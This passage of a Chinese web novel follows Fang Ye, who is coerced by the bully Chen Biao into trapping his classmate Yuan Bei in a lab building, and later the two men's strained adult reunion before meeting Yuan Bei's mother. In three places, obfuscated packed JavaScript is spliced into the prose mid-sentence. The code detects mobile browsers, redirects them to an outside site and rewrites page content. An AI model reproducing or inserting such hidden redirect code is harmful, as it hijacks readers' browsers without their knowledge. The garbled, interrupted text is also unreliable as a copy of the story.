讨人喜欢可能是一种天赋。再加上漂亮的脸和优渥的家境,很难有谁能拒绝他。 方野独自坐在看台的最高层,居高临下看着。下面聊天的声音断断续续传上来,原北永远能够轻易成为中心人物。 那天短暂的交流后,原北和他又回到无话可说的状态。方野照旧独来独往,能感受到学校里关于原北家庭的谣言少了很多。 他看了会,从口袋里摸出一张折好的通知单,是申请下学期补助的事,要带回去家长签字和找居委盖章。 签字一向都是方野自己签,他连亲生父母是不是还活着都不确定。居委盖章,大部分情况下没问题。 前提是没有人找他麻烦。 方野仰头看向天空,他想大吼一声,或者跟谁打一架,最后只是长出一口气。 方野的亲爹是在教师和工人组合的体面家庭长大的孩子,偏偏成了棵无可救药的歪脖子树。从小鬼混到大,他亲爹亲妈都管不了,凭借还不错的样貌和油嘴滑舌,跟另一个同样不学无术的女生稀里糊涂结了婚。 婚后这对年轻夫妻照样没个正形,钱花光了就各回各家讨要,兜里有几个子就花几个,方野出生后据说差点被饿死。 随着方野长大,他爹妈终于有了点为人父母的自觉,开始琢磨做点生意,正正经经过日子。 于是本地数得上的大户陈家就在方野父母的借款名单上名列前茅,陈飙父母还真信了他们的花言巧语,借出去不小一笔钱。 事实证明两个毫无头脑、好吃懒做的半文盲不仅做不成生意,还赔了个底朝天。好在歪门邪道方面经验丰富,连夜逃离了阳城,至今下落不明。 债主上门讨债,面对的就是小学还没毕业的方野和他头发花白、愁容满面的祖父母,家里再怎么掏,也就只有那些钱。 他爹妈这对讨债鬼,早已把两个家庭能败的钱都败光了。 其中欠陈家的钱尤其得多。虽说法律上没有父债子偿的规定,但方野一家面对陈家,完全抬不起头。 陈飙知道这些事,对方野也从来没有好脸色。方野越长大性格越古怪,他只会说这就是报应。 单子皱巴巴的,背面有一半灰扑扑的脚印,是陈飙昨晚踩上去的。 “你是原北的同桌,下周五的下午,想办法把他带到实验楼那里,不然那个章,你别想盖。” 陈飙叼着烟,手在方野肩上一搭,“明白我意思吧?骗他一个人过去,别让他起疑,不然你下学期那点钱就没了。不用你动手,我要亲自教训他。” “方野,究竟什么重要,你心里清楚。我听说你们关系好像还行?” 方野动了动嘴唇,眼睛盯着地面回答:“没有。” “好不好的,我不管,到时我要见到人。” 陈飙将烟用脚碾灭,拍拍手,带着他的跟班们离开。 方野用手捂住脸,指缝间露出一只眼睛,阴沉沉的,看下面原北帮邻班打羽毛球的女生捡球送过去,引起一阵善意的起哄。 下周五,实验楼。 25 原北周一早上来得迟了点,坐下时还在急促地喘息,脸侧都是汗。 前桌用书挡着,转头笑他:“没被主任逮着吧?” “那肯定。”原北得意地翘起嘴角,“五十岁的老头子能跑过我吗?” 他边笑边去找书,忽然一顿。方野余光里看见他拿出书的手指捏着一个薄薄的粉色信封,速度很快地塞了回去。 过了会,原北在英语书的掩护下,小心翼翼拆开信封。 他看了会,方野听见他“靠”了一声,将纸塞回去,信封封好,放回深处,显然是打算忽视。 之后几天,早中晚,原北都能在位子上发现一封方形的“情书”。信封信纸都是校门口最便宜的套装,染着廉价的难看粉色和劣质香精味,多看一眼都是折磨。 情书内容也十分诡异,字僵硬丑陋,永远都是一句话—— “周五下午请来实验楼,我有话想对你说”。 原北收到过的情书礼物都不少,这么诡异且规律的还是第一次见。起初他只是忽略,毕竟看起来像整蛊不像告白,但被塞满这东西后,他认为,哪怕是整人,也得见识一下幕后黑手。 周四晚离校前,原北扯过一张草稿纸,写下“好的”两个龙飞凤舞的大字,离开了教室。 翌日周五,果然没有新的“情书”再出现,只有一张纸,写着“305”。 方野心想,他应该会遵守诺言的。 原北写下回答的纸条被他攥在手心,汗湿揉皱成一团。 为了避免被怀疑,方野上午就去找班主任开了下午的假条。他情况特殊,班主任一直比较照顾,也没多问。 方野拿着假条回到教室,原北正靠在前桌那里聊新出的网游。他没注意方野,方野走过去时却感到心跳很快,快得像要从喉咙里蹦出来。 就在下午了。 周五下午第一节课是语文,随后都是自习,当然有些时候会被讲不完进度的老师占课。 方野中午凑合着吃了点,就去了实验楼。 一中的实验楼基本上荒废,大多实验室都空荡荡的,只有桌子和不知道有没有水的洗手池。靠墙的柜子里装着生锈的天平和落满灰尘的试剂瓶,晚上来是绝佳的恐怖片取景地。 方野坐在二楼的楼梯拐弯处写作业,校服裤子上灰扑扑的。他静静等待着时间,发现他的心情竟然很矛盾。 他当然希望原北如约前来,应付陈飙,却又隐隐压不住另一个想法,原北不来似乎也可以。 可是原北不来,他下学期的钱要从哪里来? 第一节课的上课铃打响,方野努力集中注意力时,却听到楼下有脚步声。 风把校园里梧桐树的落叶吹得到处都是,实验楼无人打扫,在一楼很容易就能踩出“咔擦”的碎裂音。 方野不做声地起身,脚步放轻,提前进入隔壁的306。 他躲在散发着霉味的窗帘后,眼睛静静盯着走廊,很快就看见原北孤身一人,手插在口袋里,四下打量着走到305门口。 方野向后躲了躲,原北在305门口站了会,可能是在等待。但他很快失去耐心,抬手试着推了推305的门,发现没锁,便直接走进去。 口袋里的手机一震,方野拿出来,陈飙给他发了短信。 【有事,你先把他关在那里,看住他】 他不耐地皱眉,想到钱,还是妥协了,无声无息自306走出。 305后门玻璃贴着报纸,缺了一角,足够给人窥探。方野弯腰,原北背着后门,靠坐在实验桌正在拆一包糖。 305后门的钥匙在方野包里,此刻像是散发出刺骨的寒意。 他抬手遮住那块报纸的缺角,摸出钥匙迅速一转,生锈的门锁发出“吱呀”的涩声。 “谁?” 门后传来原北的声音。 方野像贼一样,迅速转身,逃进306。 他靠着306的门,听见原北敲门,竟没生气,无奈地说:“搞恶作剧吗?” 方野一个字不敢说,寂静的一阵后,原北问:“同学,我得罪你了吗?” 钥匙硌着掌心,几乎要切进皮肉里。 方野不规律地深呼吸,脊背发抖。原北没有再说话,他在想什么? “是陈飙?”他听见原北再开口时声音冷淡,“玩这种无聊的把戏,你是小学生?把门开开,不然我就要给班主任打电话了。” 对了,原北还有手机。 方野心想真是蠢死了,同时又有一种解脱感。他已经尽力了,那就这样神不知鬼不觉地离开吧,毕竟陈飙自己迟到,怪不得他。 “我给你十秒……”原北开口的同时,脚步声,从走廊另一头传来。 原北静了下去。 “方野呢?” 安静中,陈飙隔着一个走廊问,“人都死哪去了?” 声音很大,整个走廊上的人肯定都能听见。 方野自306中走出,差点握不住钥匙。 陈飙带着他的几个忠诚跟班,势在必得地笑了笑,扬起下巴令跟班接过钥匙,打开305的门。 305的门打开,仿佛地狱洞开。光照中细小的尘埃胡乱飞舞,原北就在门后,校服袖子挽起,露出缠着纱布的右手臂。 他脸上还带着冷淡的笑容,姿态随意地倚靠在桌边,眼神却很亮,如同利刃,擦过方野的脸,落在陈飙身上。 “今天,打算演哪一出?” 陈飙发出低低的怪笑,方野背后发冷,不知怎得,他想退出去。哪怕是屈辱丑陋地落荒而逃,也比留下来受折磨强。 305的门被重重关上,陈飙伸手在方野肩背上拍了一下:“别走,你还有事要干。” 方野有些抬不起头,他努力向原北那里望了一眼,原北并没有看他,而是看着陈飙,就像在看什么垃圾。 “想找我都不敢自己出面,让人家帮你送情书?”他语气讥讽。 陈飙不明所以:“什么情书?” 原北直起身,他从口袋里摸出几个粉色信封,脚步不快不慢地走到陈飙面前。 陈飙明显变得紧张,眼神不安地扫视着原北,脸上还未完全愈合的伤口抽搐着。方野突然意识到,好像连陈飙都没有下定报复的决心。 他到底还是有些胆怯。 作为他目标的原北反而是这里最冷静的人,他说:“送了挺多封的。怎么样,看看这些示爱?” 陈飙打开看了一眼,似乎对方野的行为也是无言以对,翻了个白眼,将信封向旁边一扔,懒得理他。 原北停在陈飙身前,站在一圈人的包围中,方野能看见他脸上被光照出来的细小绒毛。 “你还想怎么样?今天一次性解决吧,我不想再跟你闹腾。” 陈飙答非所问:“我知道你为什么从明华私立转学了。” 原北:“嗯?”他甚至还笑了一下,“你说。” 陈飙脸部肌肉用力地抽搐:“因为你跟男老师搞同性恋被发现了!” 方野不可置信地看过去,原北依然气定神闲,黑玉般的眼睛一错不错凝视陈飙。最后竟然是陈飙急促补上:“你承不承认?怪不得家庭那么好,还转到阳城来,因为这里没人认识你,对不对?” 原北:“如果你的意思是,被毫无师德的同性恋老师单方面骚扰叫做搞同性恋的话,那你是对的。” 他用力咬碎最后的一点点糖块,微微鼓起的腮边平下去,以一种怜悯的口吻继续:“我是转学不是退学。不过你那么关心我的私事做什么,你也想对男生……” 陈飙顿时被恶心到了,怒道:“滚!我他妈对男的没兴趣!但是你——”他忽然对被忽视的方野说,“你过去!” 方野一顿,陈飙咬牙切齿:“我也不逼你退学,但是如果你跟男同学有什么,被拍下来,你还能有脸呆下去?” “去啊,方野,写那么多封情书,也得派上用场了。” 方野手脚冰凉,原北打量他两眼,并没说什么。 “我不。”方野挤出两个字。 陈飙疯了! “所以,你的目的是?”原北问,“让我出丑,让我滚蛋?” 陈飙:“怎么,不行?” 原北诚恳回复:“只是不知道这对你有什么好处。况且……手段这么下作。” 陈飙胸口一起一伏,显然他也是被架在这里,上下艰难。小混混打架不怕,陈飙偶然冒出来一个馊主意,临到实施,发现他并不怎么敢。主要是恶心,而且事情暴露,他也得担心剩下的时间在阳城怎么生活。 “你……” “和解吧。” 原北和陈飙同时开口。陈飙一怔,原北已经拉开实验桌前的椅子,用校服袖子不讲究地扫了一把,随意坐下,翘起一条腿。 陈飙满脸阴晴不定,与原北对视良久,也拉开他旁边的椅子坐下了。 他坐下的那一刻,方野作为一名游离的旁观者,模模糊糊地确定这场对峙,陈飙一败涂地。 或许是为了壮壮气势,陈飙点了根烟。高中生混混为了装,抽的烟味道很冲,原北偏过头咳了一声。 陈飙顿时感觉自信又找了回来:“哟,不会抽?” 原北礼节性地笑了下,没有回应这个问题:“我转学过来只是上学,高考完就走,没有跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653038|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你作对的意思,也不打算谈恋爱。” 陈飙吸了一口,眼睛斜着瞟他。 “再说,上次,不也两清了?” 陈飙:“我可是背了处分。” 原北的左手轻轻敲着右手的手背:“你也不讲规矩。” 气氛紧绷一瞬,原北将糖盒打开:“吃吗?” 陈飙用脚踩灭烟,接过一颗糖咯嘣咯嘣地咬,吃完后他将手中的廉价打火机一拍:“那结了,就当你道歉,我也不想跟你没完没了。以后少勾搭男的女的,外地人不压地头蛇,知道吗?” 原北没有再看他了,摸出手机,屏幕上是玩了一半的贪吃蛇。 “和解还要放这么多话,这么小气吗?” 陈飙不说话了,气的不轻,摔门就走。 人一个一个离开,门半开着,方野站在门后,看着原北玩贪吃蛇。 游戏结束,原北收起手机,回过身,看起来有点惊讶:“你没走?” “我……” 方野嗓子发涩,舌根泛苦,他想说什么,又开不了口。 原北将校服外套脱下,满脸不掩饰的嫌弃,随后他经过方野身边,扬起下巴:“走了。” 方野下意识跟上去,下到二楼,他说:“对不起。” “嗯?”原北没停,只是给他一个疑惑的鼻音。 “我不该骗你。” 原北嗯一声。 方野加快脚步,他低头看了眼原北的脸,发现他的眼睛静如深潭。 原北不在乎他欺骗他。方野蓦地明白了这个事实。 相比跟方野算账,原北可能更在意怎么处理陈飙。 “看我做什么?”原北打断方野的胡思乱想,“想再写几封情书?” 他话语里听不出嘲讽的意思,方野却更加无地自容。 “道了歉,就算了。”走出实验楼前,原北踩碎一片落叶,对方野说。 方野失魂落魄站在原地,忽然想到钱,又想到廉价信纸刺鼻的香味,会在人写字时蹭在手指上,顽固地停留一整天。 26 人会在梦中闻见味道吗? 方野被他脑中虚幻的刺鼻香味逼醒,后背汗涔涔一片。他拿过手机看了眼时间,被吓了一跳,匆忙想下床,想起什么,转身迅速地换上衣服。 他在洗手间仓促洗漱好,整间公寓静悄悄的,仿佛方野一个人的心跳和呼吸声就能充满所有空间。 他怀着一种莫名的恐惧,不敢叫原北的名字,只是在混乱的思绪中走到主卧门口,发现被子散乱地堆在一边,睡衣也没收拾好。但是房间里全部都是原北的气息和生活痕迹,方野努力克制,才没有迈进去。 他像被甜美又危险的巢穴诱惑着的人,勉强关上主卧的门。 原北去上班了么? 方野焦虑地回身,心中满是茫然的挫败。 原北看起来很尊重他,给了他很大的自由度。昨晚原北自公司回来后,看见坐在沙发上的方野,问了一句:“你还不睡?” 方野一直在等他,面对原北却又不敢说了,编造出苍白的借口:“我……现在睡不着。” 随后他就后悔,在原北面前撒谎没有意义,然而同时他也有点卑劣地盼望着,原北可以发现他撒谎,进而得知他的真正答案。 “柜子里有褪黑素,可以少吃一点。”原北却仅仅这么说,就像是体贴来做客的朋友,“你不需要安眠药吧?” 方野:“……不用。” 他清楚原北不是看不出来他没说真话,而是对真正的答案不感兴趣。 方野静静看着原北动作利落地脱下大衣和西装外套,手指已经解开衬衫的前两枚扣子,露出锁骨,突然顿住,看了方野一眼。 随后他微微一笑,说道:“提前说声晚安。”就走进主卧,关上了房门。 方野用力呼吸了一下,才发现他刚刚一直在屏息。 提出可以考虑复合的是他,划清边界的也是他。方野甚至感觉这是一种故意为之的折磨,但他竟然乐在其中。 这是他习惯的、舒适的相处模式,只要原北稍稍透露出此种意味,他就很难离开。 方野转了一圈,不好意思进那些关着门的房间,最后还是坐回沙发,手支在膝盖上发呆。 “他连实验室长什么样都不知道,也好意思对规定标准指手画脚……” 伴随着冷淡的声音,一个房间的门被打开了。 方野差点以为是幻觉,原北拢着衬衫,正在跟耳机那边说着什么,抬眼注意到他,虚虚点了点头。 “这种东西改不了,你问到技术部那里也是改不了。与其掰扯这个,不如再和他们谈一下钱的问题。” 原北说着,倒了杯温水,方野发现他房间里面电脑还亮着。 说了几句后,原北取下耳机,疲惫地揉着耳廓。 “你没去公司?”方野问。 “今天在家办公,需要去的时候再去。”原北一口气喝完一整杯水,嘴唇湿润,回头看着方野,“吃饭没?饭在保温箱,凉了你再微波炉热一下。” 方野听话地走进厨房,发现原北实在是不肯多费一点功夫。早上阿姨不来,他就吃简单的速食,还有一盘吃了一半的沙拉,拌得潦草又绿色,凑合得过分。 挑嘴又怕麻烦,没见过这么难养活的人。 “那个你别管。”原北扫了一眼餐桌,唤起不多的羞耻心,“我吃完都那么乱,你可以在客厅吃,中午阿姨会来收拾的。” 方野试探性地问:“我来处理可以吗?” 原北失笑:“哪有让客人收拾的道理。”他摆了摆手,走回房里,“阿姨的电话贴在冰箱上,你想点菜,可以和她说。” 房门关上,方野坐立不安。他拿着手机,看着冰箱门上的号码,手心一层一层出汗。 原北目前并不想和他复合。就像当初原北离开他一样,只是这次原北在寻找合理的借口,要让方野彻底死心。 方野在面对原北时永远没有抵抗能力,就像表面光鲜的空壳玩具小人,原北只用一根手指轻轻一推,方野就只能完全按照他的意志滚来滚去。 原北礼貌地划开两人的边界线,方野想走过去,四顾茫然。 他终于打过去阿姨的电话,一开口时声音嘶哑失真,音调为了显得正常反而变得古怪:“你好,我是原先生家的……是,今天中午,请您不来,可以……好的,谢谢。” 12. 第十二章 27 原北直到中午才从房间出来。他乌黑的头发很散乱,显而易见被主人揉了不少次,脸上表情更称不上柔和,充满一种对未知对象的仇视。 考虑到阿姨在,原北站在书房门口深呼吸两下,收拾好心情后,推开厨房的门:“今天中午……”他顿住,“方野?” 方野吓了一跳,他回头和原北对视。两人都沉默了一会,原北问:“你做什么呢?” “在烧汤。”方野手向保温箱一指,“菜已经做好了。” 原北双手环胸,过了会说道:“噢,你直接替了阿姨的活?” 他表情看不出喜怒,方野将手擦了擦,低声说:“你不喜欢,晚上我就不做。” “我是找你上门干活的吗?” “抱歉……” “不用道歉。”原北用手止住方野的话,他头有点用过度的疼痛,在熟悉的人面前懒得掩饰,神情恹恹,“做好了那就吃饭吧。” 原北回来没几天,这间公寓是他妈提前给他买的,一直有专人清洁维护。阿姨同样是他妈雇的人,不用他插手。 他留学期间是独居,忙的时候基本上靠速食对付,除了出去吃饭,都是一个人进食。他的嘴挑是间歇性的,一旦现实生活更忙,就只是为了维持身体运行而吃。 方野是难得跟他一起吃饭比较多的人。阔别多年,原北发现他跟方野坐在同一张餐桌上时,竟然更自在。 “味道怎么样?”方野忐忑地问。 “挺好。” 方野心知自己比不上专业的,怀疑道:“应该比不上你请的阿姨吧?” 炖的老鸭汤很热也很鲜,原北感觉头痛好了些。他闷不做声低头喝了一碗汤,才抬起眼睛,隔着热菜热汤看桌对面的方野。 方野看他脸上回复了几分血色,神情也不那么疲惫了,相反,眼底划过一点笑意。 “想要我夸你?” 那点心思无所遁形,方野掩饰性地拿起勺子,同时无可救药地在原北轻松的口吻中感到快乐。 原北说:“比得上,我更喜欢吃你做的。” 直到吃完饭,方野还处于一种悬浮般的幻觉中。 原北吃饭时不爱说话,方野天生话少,也不觉得闷。他只是脑海里不断旋转着原北的话,洗手时,看见镜子里分毫毕现地映照出一张微笑的脸。 可惜跟天生爱笑且笑得十分讨喜的原北不同,方野脸上缺少丰富生动的表情,更多的是过于充分的阴沉气质。 眉骨偏高,唇角下撇,因此即使他发自内心地微笑,看起来也像个犯罪分子。 方野不笑了,盯着镜子冷漠地想,面对这张不讨喜的脸,原北想甩掉他也正常。 温水哗啦啦流过,从手腕冲刷到指尖。方野关上水,出来时原北正站在落地窗前,一边耳朵带着耳机,间或低低回应几句。 今日天气雾蒙蒙的,天空是铅灰色。从宽大的窗户后能看见外面林立的高楼,原北只穿着单薄的衬衫和长裤,显得很瘦削。 听到动静,原北半转过身。和他平静的语调不同,双眉紧皱着,眼神不善,冷冷扫了方野一眼,城门失火殃及池鱼。 好一会电话挂断,原北摘下耳机,烦躁地骂道:“一群蠢货。” 他一上班就这样,一般是独处时这么骂人,以维持形象。现在家里多出来一个方野,并不影响——方野很明白他的真面目,甚至以能看到原北骂人为荣。 原北坐回沙发,双手伸展开,眼睛向上望着天花板,对方野说:“无不无聊?在我这里也没有事情干。” “还好,其实我可以干很多事情,你晚饭想吃什么?” 原北这下看着他,又笑了,眉眼间的郁气少了很多。他拍了一下沙发上的抱枕:“你真是上门干活的?过来坐。” 方野挨着他坐下,原北的大腿一偏,和他的腿碰了碰。两人在室内穿得都不多,相触的部位传来另一个人身上的温度。 他们都没有说话,方野却感到一种久违的舒适。他享受这种简单的、不用说话的陪伴,因为他和原北有过很多这种时候,交谈对于他们来说是多余的。 方野不知道原北会想什么,他自己是几乎什么都不想。 “我妈说要过来。”原北的话打破了平静,方野没反应过来,转脸看他,原北漆黑的眼中映出他的脸。 他加了一句:“今晚。” 方野大脑短路了。 原北晃了晃手机,像在说一件很平常的事:“晚上阿姨过来做饭,再使唤你,要被我妈说我不懂礼貌的。” “不,等等……”方野拼命组织着语言,“阿姨说今晚过来?” “嗯,两小时前发布的命令。她知道你在,可能是想看看你。” 其实可能两个字完全可以去掉,孟华女士凭借着更宽广的心胸先一步完全接受了儿子是同性恋这一事实,进而进化到绝大多数父母都逃不脱的阶段——催儿子找一个稳定的对象。 阿姨都是她雇的,原北带个男人回来的事根本瞒不过她,更何况原北也没打算瞒。只是原北没有说明方野的身份,这一点就留给她先自己脑补几小时。 方野已经僵住,好一会扭头,脖颈关节处发出一声不明显的“咯嘣”。 “我?我要见……” “嗯,别太紧张。”原北将手臂向他肩上一搭,“你可以说我们才认识不久。没关系,她不会说什么的。” “不是说要复合吗?”原北浓密的睫毛一垂,面上笑微微的,“那就试一下,这些必须要面对的吧。” 原北赶着回去工作,他要把晚上的时间空出来。方野独自坐在客厅,面对散发着幽幽光芒的观赏鱼缸,焦虑得恨不得立刻跳楼。 客厅空有鱼缸,但没有任何活物,里面只存在着石头和贝壳。原北可能是懒得换鱼,光看水就够了。 方野盯着微微晃动的幽蓝色水波,终于下定决心。他站起身,本来想去书房,思索半晌,怕影响原北工作,于是打开手机,点进对话框,编辑半天,全部删除了。 骨子里的逃避情绪就像悄悄滋生的病毒,免疫系统但凡表现出一丝一毫的软弱,就会被趁虚而入,啃噬干净。 他不知道他该用什么身份去见原北的母亲。刚成年就带着她儿子走上不归路的共犯?一个一事无成的前任?还是一个没有主见、浑浑噩噩的寄生者? 方野曾经以为他不在乎别人怎么看待他和原北的感情,但事实证明他错了。 要留下来,做一个感情污点的证明吗? 28 “哎呀,是……方先生?” 方野站在玄关处,他开门前,登门的阿姨正好打开房门,客气又热情地笑开:“要出门啊?是买菜吗?” 阿姨退休两年了,仍然声音洪亮,中气十足。方野怕被原北听到,含糊地一点头。 “下次告诉我,我路上可以买。小北每个月给我的买菜钱都花不完呢……” 将阿姨的念叨留在身后,方野手插在外套口袋里,走出公寓楼,在偌大广城吹着寒风,无处可去。 小区大门对面是便利店,方野走进去,漫无目的地转了一圈,最后停在门口的烟架前。 他现在很难受,精神上的压力总需要一个排解的出口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再说,他们现在的关系,都没有确定。 方野口腔已经麻木了,再吃薄荷糖也尝不出味。他手搓了搓脸,想起他跟原北在周末时走在街上,看到隔壁班的一对情侣,牵着手走在路上,分享同一杯果汁。 他下意识也想伸手,但被原北挡住。 “两个男生走在路上还牵手太奇怪了。” 方野辩解:“女生一起走不也很多牵手吗?” 原北笑着说:“男生和女生能一样吗?” 他们都压低了声音,即使并肩走着,肩膀、手背时不时相撞,但就是不能握住。 方野有些失落,他并不在意被怎么看待,反正大部分人看他都不怎么样,没有意识到是原北担忧那些目光。 他只是单纯以为原北不愿意牵手。 两人走进书店去买书,教辅那块好几个大书架,恨不得顶到天花板。走到最里面时,原北突然拽住方野的手。 “低头。” 他的手指清瘦,带了点凉意,放在方野后脑向下一压。 借着书柜的遮挡,接了一个短暂的吻。 方野下意识搂住他,原北离开他的嘴唇,近距离看脸有点发红,眼睛也很亮,令方野想再亲一下。 “嘘。”他凑近了说话,“偷亲开心吗?” 方野遵从本心,快速低头又吻了吻他,说:“开心。” 原北将他的右手握了一下。方野感觉到充盈的、满溢的幸福感。 13. 第十三章 29 方野吹着冷风把一盒薄荷糖吃完了,并没得到什么深刻的人生感悟。他拍了拍外套起身,走回去时被门口安保拦住。 “先生,请这边刷脸或者验证指纹。”安保是个年轻小哥,客客气气的。 方野刷什么都没有,僵持半晌,不得不给原北发了条信息。 【小区不让我进去,可以帮我打个电话吗?】 过了两分钟,原北回他一个惊讶的表情,却没问他出门的原因,而是说“好了”。 他就这样体贴地留出余地。方野开始想亲密关系里是否需要保持体面,鉴于他在任何关系里都没有体面过,这个问题没有答案。 方野被放进门,路上他把晚上要说的话的草稿收个尾,自觉没什么大的纰漏,应当可以蒙混过关。 可惜话说得再漂亮,原北父母也不是傻的,一眼就能看透他几斤几两。 这就是原北的用意?让他看清楚他需要面对的障碍,并借此考验方野的勇气吗? 进入公寓楼还需要指纹,不过原北已经将门给他打开。方野步入电梯,发现他的手已经在无意识状态下将薄荷糖盒子外的商标给扣了下来。 他在心底冷笑一声,盯着电梯内的电子屏,那点憎恨又死灰复燃,像发苦的火焰,热热地烧到喉咙口。 恨原北的主动迎合,恨原北的一走了之,最后归根结底,还是恨他自己。 如果能不爱原北就好了,那样就不会有这么多的痛苦。 这句话十八岁的时候方野就对原北说过,说的时候原北还躺在他的腿上,脸上盖着英语试卷。 已经是五月份的天气,温度怡人,暖但不至于热。一连几天,天气都是晴朗的。 离高考还有不到二十天,校园里的气氛明显紧绷了许多,哪怕象征性也得学一点。大部分课都变成自由复习的自习课,老师就坐在前面等着解答问题。 原北拽着方野“逃课”,事实上是给方野讲英语,随后在阅读理解上遭到和英语老师相同的挫折。 方野自有逻辑,有时理解能跟原文差十万八千里,还固执得要命,难以说通,原北直接放弃了。 本来他们都坐在看台后,这里一般没人。原北认定方野无可救药后,带着气,直接躺在他大腿上。 “你一定要这样想?” 方野默不作声点头。 原北忍无可忍:“真不知道你大脑什么构造。算了,我看你还是争取数学多拿几分更实在。” 阳光刺眼,他抬手拿着试卷挡住,睫毛和发梢被照得像金色。 方野对于英语阅读不屑一顾,将校服外套展开,低头隔着英语试卷,在原北脸上胡乱亲了亲。 他沉默的、完全看不出内在意义的动作还是把原北逗笑了,拿下试卷,在校服挡出的阴影中,一双眼睛以少见的柔和望向他。 “就这样讨好我?”原北反问,将卷子挥了挥,发出哗啦啦的声响,“小心蹭得脸上都是墨水。” 方野不说话,只是看着他。 原北凝视他片刻,叹了口气:“方野,你明白我的意思。既然你想陪我上A大,如果根据前两个月的模拟分,是很难的。” 方野简单地说:“可以。” “可以什么可以?”原北冷淡地说,“去A大下面的某附属学院吗?那确实可以,你闭着眼考都能上,但是你是要拿自己的成绩开玩笑?还是说进A大垫底的专业,毕业后殊途同归做销售?” 方野对他说的话没什么概念,也不觉得有什么大不了——他亲爹妈销售都当不上,不也还是结婚生子,活了好几十年吗? 他以沉默表达不赞同,原北说:“你气死我算了。” 原北真的生气了,试卷全部盖住脸,不再跟方野说一个字。 他很少跟方野生气。即使方野做错了,或者给他造成困扰,原北也不会发怒。他会纠正,克制,说服,教小孩子似的教比他还大一点的方野。 可一旦原北怒气发作,不论方野有没有意识到错误,都会感觉很难受。 他对原北的情绪很敏感,忍耐不了原北对他的任何负面情感。 方野去拿开试卷,原北不理他,乌黑的眼睛向上看着湛蓝的天空,天空装进他的瞳孔。方野看他的眼睛,看见天空飞掠过一只鸽子。 “你去哪里我都能陪你去,什么大学我不在乎,不高考也无所谓。我只是想跟你在一个地方。”方野告诉他。 原北过了一会给他一句话:“不去高考的话,你也别想着跟我一个地方了,我们分开吧。” 方野感到某种他所不能理解的强烈困惑:“为什么要这样?你想和我分手吗?” 原北闭上眼不看他,也不理他。 方野不想和他讨论有关未来与现实的问题。他想不过就是大家按部就班考个试,读大学,出来找个饿不死的工作,这些事有什么好讨论的? 那么多大学都上不了的,是一满十八岁就死了吗? 原北在乎那么多做什么? 方野不想吵架,也不想原北生气。他想他们能永远轻轻松松、愉快地这样下去,而不是为了未发生的事争吵,以至于原北说要离开他。 “你明明知道我离不开你。”方野低头问他,“为什么这样说?” 原北闭着双眼回他:“你既然不喜欢听,就去做该做的事。” “我不这样做你会分手吗?” 长久的沉默后,直到下课铃响,原北盖着试卷说:“会。” 方野深深地呼吸,胸口像吞了一团火,烧得他心脏跳到快要爆炸。 他想也不想说:“如果我不爱你就好了。这样我就不会那么难受。” 原北轻轻将试卷揭下,方野忽然发觉那是他第一次对原北说“爱”。在电视里他听到这个字眼都会觉得怪异和矫情,也不知怎么就脱口而出。 而原北给他的回答是—— “方野,这也算爱吗?” 电梯门分开,方野输入密码,暖意扑上他僵冷的神经末梢。 30 “回来了?” 原北自卧室走出,还在擦着头发,望了眼钟,“还来得及,你去收拾下,我妈大概一个半小时后到。” 他没问方野出去做什么,即使是朋友也该问一句吧? 方野走过去,原北身上有沐浴露的雪松香味,压下几分他身上过重的薄荷味。 毛巾被一把抽走,方野把他擦得敷衍的头发拢住,突兀地开口:“我下楼想抽烟。” 近距离内,原北耳廓被热气蒸得粉红一片,漆黑的鬓角湿漉漉的。他嗯了一声,脸稍微侧过来:“阳台也可以抽,你开换气系统。” 方野手上用了点力度,扯着头发,原北微微仰头,露出白皙的脖颈和喉结。 他没生气,只是笑了一下,说话时可以明显看见喉结的滚动:“怎么了?戒不掉,也不能找我发火吧。” “我没抽。”方野恼火地强调,“只是想,但是没有。” “我知道,你没抽,做得很好。你身上一股薄荷糖味,吃了多少?” 方野停了一下,湿润的头发垂在他手背,随后他细致地擦着头发,动作温柔许多:“一盒。” 原北只得说:“挺厉害的……你去喝点水吧。” 擦到半干,他就回卧室去吹头,门关上,阻断吹风机嗡嗡的声音。 方野喝了一整杯温水,原北已然满身清爽地走出来。尽管只是在家里吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653040|172820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭,他还是换了偏休闲样式的正装,衬衫外穿了件马甲,十分显出清瘦的腰身。 “这么正式?”方野有点后悔,他的衣服差不多都是最常见的那些,网店打折一买三件同款换着穿。 “我妈喜欢拍照,我得配合她的步骤。”原北正在整理领口,“你想穿什么都随意,要正装的话,次卧里有一套,就是不知道合不合适。” 方野简单洗了个澡,他对于穿正装一事没多少经验,不过如果穿着卫衣见原北的母亲恐怕要更灾难。 原北已经收拾好了。他关上次卧的门,坐在床边,懒散地说:“换上试试。” 方野背后微微发热,他脱下上身的衣服,手停在裤腰,略微一顿,随即脱掉。 回过身他看见原北正帮他解开衬衫的最后一颗纽扣,接着抬手递过来,视线礼貌地只停在他上半身:“你平时健身?” 方野把衬衫拿过来穿上,说:“没有这个爱好,一般会出去跑步。” 